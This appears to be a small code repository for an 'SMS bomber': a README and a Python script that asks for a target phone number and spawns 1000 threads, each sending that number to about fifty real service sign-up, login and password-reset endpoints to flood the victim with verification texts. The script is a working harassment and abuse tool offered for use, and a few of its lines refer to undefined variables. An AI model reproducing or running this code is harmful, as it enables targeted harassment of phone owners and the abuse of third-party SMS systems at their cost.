├── README.md └── sms_with_threading.py /README.md: -------------------------------------------------------------------------------- 1 | # smsbomb 2 | 3 | use python3 4 | 5 | # Conponents: 6 | ``` 7 | pip3 install requests 8 | ``` 9 | # To start with multithreading: 10 | ``` 11 | python3 sms_with_threading.py 12 | ``` 13 | 14 | # To start in a circle: 15 | ``` 16 | python3 sms_with_while.py 17 | ``` 18 | -------------------------------------------------------------------------------- /sms_with_threading.py: -------------------------------------------------------------------------------- 1 | import requests, random, datetime, sys, time, argparse, os 2 | import threading 3 | 4 | banner = """ 5 | ____________________________________________________ 6 | | | 7 | | [--] Pleasy Subscribe to ~> t.me/blackhat_lab | 8 | | | 9 | | [--] Have Services: 51 | 10 | | | 11 | | [--] Created by: @in4osecurity | 12 | | | 13 | | [--] Version: 1.0.6 | 14 | |____________________________________________________| 15 | """ 16 | try: 17 | os.system("termux-open-url https://t.me/blackhat_lab") 18 | except: 19 | pass 20 | print(banner) 21 | _phone = input('Hello! Number for attack (79xxxxxxxxx)-->> ') 22 | 23 | if _phone[0] == '+': 24 | _phone = _phone[1:] 25 | if _phone[0] == '8': 26 | _phone = '7'+_phone[1:] 27 | if _phone[0] == '9': 28 | _phone = '7'+_phone 29 | 30 | _name = '' 31 | for x in range(12): 32 | _name = _name + random.choice(list('123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')) 33 | password = _name + random.choice(list('123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')) 34 | username = _name + random.choice(list('123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')) 35 | 36 | _phone9 = _phone[1:] 37 | _phoneAresBank = '+'+_phone[0]+'('+_phone[1:4]+')'+_phone[4:7]+'-'+_phone[7:9]+'-'+_phone[9:11] 38 | _phone9dostavista = _phone9[:3]+'+'+_phone9[3:6]+'-'+_phone9[6:8]+'-'+_phone9[8:10] 39 | _phoneOstin = '+'+_phone[0]+'+('+_phone[1:4]+')'+_phone[4:7]+'-'+_phone[7:9]+'-'+_phone[9:11] 40 | _phonePizzahut = '+'+_phone[0]+' ('+_phone[1:4]+') '+_phone[4:7]+' '+_phone[7:9]+' '+_phone[9:11] 41 | _phoneGorzdrav = _phone[1:4]+') '+_phone[4:7]+'-'+_phone[7:9]+'-'+_phone[9:11] 42 | 43 | def sent(): 44 | try: 45 | requests.post('https://p.grabtaxi.com/api/passenger/v2/profiles/register', data={'phoneNumber': _phone,'countryCode': 'ID','name': 'test','email': 'mail@mail.com','deviceToken': '*'}, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36'}) 46 | print('[+] Grab sent!') 47 | except: 48 | print('[-] Not sent!') 49 | 50 | try: 51 | requests.post('https://moscow.rutaxi.ru/ajax_keycode.html', data={'l': _phone9}).json()["res"] 52 | print('[+] RuTaxi sent!') 53 | except: 54 | print('[-] Not sent!') 55 | 56 | try: 57 | requests.post('https://belkacar.ru/get-confirmation-code', data={'phone': _phone}, headers={}) 58 | print('[+] BelkaCar sent!') 59 | except: 60 | print('[-] Not sent!') 61 | 62 | try: 63 | requests.post('https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru', data={'phone_number': _phone}, headers={}) 64 | print('[+] Tinder sent!') 65 | except: 66 | print('[-] Not sent!') 67 | 68 | try: 69 | requests.post('https://app.karusel.ru/api/v1/phone/', data={'phone': _phone}, headers={}) 70 | print('[+] Karusel sent!') 71 | except: 72 | print('[-] Not sent!') 73 | 74 | try: 75 | requests.post('https://api.tinkoff.ru/v1/sign_up', data={'phone': '+'+_phone}, headers={}) 76 | print('[+] Tinkoff sent!') 77 | except: 78 | print('[-] Not sent!') 79 | 80 | try: 81 | requests.post('https://api.mtstv.ru/v1/users', json={'msisdn': _phone}, headers={}) 82 | print('[+] MTS sent!') 83 | except: 84 | print('[-] Not sent!') 85 | 86 | try: 87 | requests.post('https://youla.ru/web-api/auth/request_code', data={'phone': _phone}) 88 | print('[+] Youla sent!') 89 | except: 90 | print('[-] Not sent!') 91 | 92 | try: 93 | requests.post('https://pizzahut.ru/account/password-reset', data={'reset_by':'phone', 'action_id':'pass-recovery', 'phone': _phonePizzahut, '_token':'*'}) 94 | print('[+] PizzaHut sent!') 95 | except: 96 | print('[-] Not sent!') 97 | 98 | try: 99 | requests.post('https://www.rabota.ru/remind', data={'credential': _phone}) 100 | print('[+] Rabota sent!') 101 | except: 102 | print('[-] Not sent!') 103 | 104 | try: 105 | requests.post('https://rutube.ru/api/accounts/sendpass/phone', data={'phone': '+'+_phone}) 106 | print('[+] Rutube sent!') 107 | except: 108 | print('[-] Not sent!') 109 | 110 | try: 111 | requests.post('https://www.citilink.ru/registration/confirm/phone/+'+_phone+'/') 112 | print('[+] Citilink sent!') 113 | except: 114 | print('[-] Not sent!') 115 | 116 | try: 117 | requests.post('https://www.smsint.ru/bitrix/templates/sms_intel/include/ajaxRegistrationTrigger.php', data={'name': _name,'phone': _phone, 'promo': 'yellowforma'}) 118 | print('[+] Smsint sent!') 119 | except: 120 | print('[-] Not sent!') 121 | 122 | try: 123 | requests.get('https://www.oyorooms.com/api/pwa/generateotp?phone='+_phone9+'&country_code=%2B7&nod=4&locale=en') 124 | print('[+] oyorooms sent!') 125 | except: 126 | print('[-] Not sent!') 127 | 128 | try: 129 | requests.post('https://www.mvideo.ru/internal-rest-api/common/atg/rest/actors/VerificationActor/getCodeForOtp', params={'pageName': 'loginByUserPhoneVerification', 'fromCheckout': 'false','fromRegisterPage': 'true','snLogin': '','bpg': '','snProviderId': ''}, data={'phone': _phone,'g-recaptcha-response': '','recaptcha': 'on'}) 130 | print('[+] MVideo sent!') 131 | except: 132 | print('[-] Not sent!') 133 | 134 | try: 135 | requests.post('https://newnext.ru/graphql', json={'operationName': 'registration', 'variables': {'client': {'firstName': 'Иван', 'lastName': 'Иванов', 'phone': _phone,'typeKeys': ['Unemployed']}},'query': 'mutation registration($client: ClientInput!) {''\n registration(client: $client) {''\n token\n __typename\n }\n}\n'}) 136 | print('[+] newnext sent!') 137 | except: 138 | print('[-] Not sent!') 139 | 140 | try: 141 | requests.post('https://api.sunlight.net/v3/customers/authorization/', data={'phone': _phone}) 142 | print('[+] Sunlight sent!') 143 | except: 144 | print('[-] Not sent!') 145 | 146 | try: 147 | requests.post('https://alpari.com/api/ru/protection/deliver/2f178b17990ca4b7903aa834b9f54c2c0bcb01a2/', json={'client_type': 'personal', 'email': _email, 'mobile_phone': _phone, 'deliveryOption': 'sms'}) 148 | print('[+] alpari sent!') 149 | except: 150 | print('[-] Not sent!') 151 | 152 | try: 153 | requests.post('https://lk.invitro.ru/lk2/lka/patient/refreshCode', data={'phone': _phone}) 154 | print('[+] Invitro sent!') 155 | except: 156 | print('[-] Not sent!') 157 | 158 | try: 159 | requests.post('https://online.sbis.ru/reg/service/', json={'jsonrpc':'2.0','protocol':'5','method':'Пользователь.ЗаявкаНаФизика','params':{'phone':_phone},'id':'1'}) 160 | print('[+] Sberbank sent!') 161 | except: 162 | print('[-] Not sent!') 163 | 164 | try: 165 | requests.post('https://ib.psbank.ru/api/authentication/extendedClientAuthRequest', json={'firstName':'Иван','middleName':'Иванович','lastName':'Иванов','sex':'1','birthDate':'10.10.2000','mobilePhone': _phone9,'russianFederationResident':'true','isDSA':'false','personalDataProcessingAgreement':'true','bKIRequestAgreement':'null','promotionAgreement':'true'}) 166 | print('[+] Psbank sent!') 167 | except: 168 | print('[-] Not sent!') 169 | 170 | try: 171 | requests.post('https://myapi.beltelecom.by/api/v1/auth/check-phone?lang=ru', data={'phone': _phone}) 172 | print('[+] Beltelcom sent!') 173 | except: 174 | print('[-] Not sent!') 175 | 176 | try: 177 | requests.post('https://app.karusel.ru/api/v1/phone/', data={'phone': _phone}) 178 | print('[+] Karusel sent!') 179 | except: 180 | print('[-] Not sent!') 181 | 182 | try: 183 | requests.post('https://app-api.kfc.ru/api/v1/common/auth/send-validation-sms', json={'phone': '+' + _phone}) 184 | print('[+] KFC sent!') 185 | except: 186 | print('[-] Not sent!') 187 | 188 | try: 189 | requests.post("https://api.carsmile.com/",json={"operationName": "enterPhone", "variables": {"phone": _phone},"query": "mutation enterPhone($phone: String!) {\n enterPhone(phone: $phone)\n}\n"}) 190 | print('[+] carsmile sent!') 191 | except: 192 | print('[-] Not sent!') 193 | 194 | try: 195 | requests.post('https://www.citilink.ru/registration/confirm/phone/+' + _phone + '/') 196 | print('[+] Citilink sent!') 197 | except: 198 | print('[-] Not sent!') 199 | 200 | try: 201 | requests.post("https://api.delitime.ru/api/v2/signup",data={"SignupForm[username]": _phone, "SignupForm[device_type]": 3}) 202 | print('[+] Delitime sent!') 203 | except: 204 | print('[-] Not sent!') 205 | 206 | try: 207 | requests.get('https://findclone.ru/register', params={'phone': '+' + _phone}) 208 | print('[+] findclone call sent!') 209 | except: 210 | print('[-] Not sent!') 211 | 212 | try: 213 | requests.post("https://guru.taxi/api/v1/driver/session/verify",json={"phone": {"code": 1, "number": _phone}}) 214 | print('[+] Guru sent!') 215 | except: 216 | print('[-] Not sent!') 217 | 218 | try: 219 | requests.post('https://www.icq.com/smsreg/requestPhoneValidation.php',data={'msisdn': _phone, "locale": 'en', 'countryCode': 'ru','version': '1', "k": "ic1rtwz1s1Hj1O0r", "r": "46763"}) 220 | print('[+] ICQ sent!') 221 | except: 222 | print('[-] Not sent!') 223 | 224 | try: 225 | requests.post("https://terra-1.indriverapp.com/api/authorization?locale=ru",data={"mode": "request", "phone": "+" + _phone,"phone_permission": "unknown", "stream_id": 0, "v": 3, "appversion": "3.20.6","osversion": "unknown", "devicemodel": "unknown"}) 226 | print('[+] InDriver sent!') 227 | except: 228 | print('[-] Not sent!') 229 | 230 | try: 231 | requests.post("https://lk.invitro.ru/sp/mobileApi/createUserByPassword", data={"password": password, "application": "lkp", "login": "+" + _phone}) 232 | print('[+] Invitro sent!') 233 | except: 234 | print('[-] Not sent!') 235 | 236 | try: 237 | requests.post('https://ube.pmsm.org.ru/esb/iqos-phone/validate',json={"phone": _phone}) 238 | print('[+] Pmsm sent!') 239 | except: 240 | print('[-] Not sent!') 241 | 242 | try: 243 | requests.post("https://api.ivi.ru/mobileapi/user/register/phone/v6",data={"phone": _phone}) 244 | print('[+] IVI sent!') 245 | except: 246 | print('[-] Not sent!') 247 | 248 | try: 249 | requests.post('https://lenta.com/api/v1/authentication/requestValidationCode',json={'phone': '+' + self.formatted_phone}) 250 | print('[+] Lenta sent!') 251 | except: 252 | print('[-] Not sent!') 253 | 254 | try: 255 | requests.post('https://www.mvideo.ru/internal-rest-api/common/atg/rest/actors/VerificationActor/getCode',params={"pageName": "registerPrivateUserPhoneVerificatio"},data={"phone": _phone, "recaptcha": 'off', "g-recaptcha-response": ""}) 256 | print('[+] MVideo sent!') 257 | except: 258 | print('[-] Not sent!') 259 | 260 | try: 261 | requests.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data={"st.r.phone": "+" + _phone}) 262 | print('[+] OK sent!') 263 | except: 264 | print('[-] Not sent!') 265 | 266 | try: 267 | requests.post('https://plink.tech/register/',json={"phone": _phone}) 268 | print('[+] Plink sent!') 269 | except: 270 | print('[-] Not sent!') 271 | 272 | try: 273 | requests.post("https://qlean.ru/clients-api/v2/sms_codes/auth/request_code",json={"phone": _phone}) 274 | print('[+] qlean sent!') 275 | except: 276 | print('[-] Not sent!') 277 | 278 | try: 279 | requests.post("http://smsgorod.ru/sendsms.php",data={"number": _phone}) 280 | print('[+] SMSgorod sent!') 281 | except: 282 | print('[-] Not sent!') 283 | 284 | try: 285 | requests.post('https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru',data={'phone_number': _phone}) 286 | print('[+] Tinder sent!') 287 | except: 288 | print('[-] Not sent!') 289 | 290 | try: 291 | requests.post('https://passport.twitch.tv/register?trusted_request=true',json={"birthday": {"day": 11, "month": 11, "year": 1999},"client_id": "kd1unb4b3q4t58fwlpcbzcbnm76a8fp", "include_verification_code": True,"password": password, "phone_number": _phone,"username": username}) 292 | print('[+] Twitch sent!') 293 | except: 294 | print('[-] Not sent!') 295 | 296 | try: 297 | requests.post('https://cabinet.wi-fi.ru/api/auth/by-sms', data={'msisdn': _phone},headers={'App-ID': 'cabinet'}) 298 | print('[+] CabWiFi sent!') 299 | except: 300 | print('[-] Not sent!') 301 | 302 | try: 303 | requests.post("https://api.wowworks.ru/v2/site/send-code",json={"phone": _phone, "type": 2}) 304 | print('[+] wowworks sent!') 305 | except: 306 | print('[-] Not sent!') 307 | 308 | try: 309 | requests.post('https://eda.yandex/api/v1/user/request_authentication_code',json={"phone_number": "+" + _phone}) 310 | print('[+] Eda.Yandex sent!') 311 | except: 312 | print('[-] Not sent!') 313 | 314 | try: 315 | requests.post('https://youla.ru/web-api/auth/request_code', data={'phone': _phone}) 316 | print('[+] Youla sent!') 317 | except: 318 | print('[-] Not sent!') 319 | 320 | try: 321 | requests.post('https://alpari.com/api/ru/protection/deliver/2f178b17990ca4b7903aa834b9f54c2c0bcb01a2/',json={"client_type": "personal", "email": f"{email}@gmail.ru","mobile_phone": _phone, "deliveryOption": "sms"}) 322 | print('[+] Alpari sent!') 323 | except: 324 | print('[-] Not sent!') 325 | 326 | try: 327 | requests.post("https://api-prime.anytime.global/api/v2/auth/sendVerificationCode",data={"phone": _phone}) 328 | print('[+] SMS sent!') 329 | except: 330 | print('[-] Not sent!') 331 | 332 | try: 333 | requests.post('https://www.delivery-club.ru/ajax/user_otp', data={"phone": _phone}) 334 | print('[+] Delivery sent!') 335 | except: 336 | print('[-] Not sent!') 337 | 338 | # Create a shared variable for thread counts 339 | thread_num = 0 340 | thread_num_mutex = threading.Lock() 341 | num_requests = 1000 342 | 343 | # Print thread status 344 | def print_status(): 345 | global thread_num 346 | thread_num_mutex.acquire(True) 347 | 348 | thread_num += 1 349 | print ("\n " + "[" + str(thread_num) + "] #-#-#-#-#-#") 350 | 351 | thread_num_mutex.release() 352 | 353 | 354 | # Spawn a thread per request 355 | all_threads = [] 356 | for i in range(num_requests): 357 | t1 = threading.Thread(target=sent) 358 | t1.start() 359 | all_threads.append(t1) 360 | 361 | for current_thread in all_threads: 362 | current_thread.join() # Make the main thread wait for the children threads 363 | --------------------------------------------------------------------------------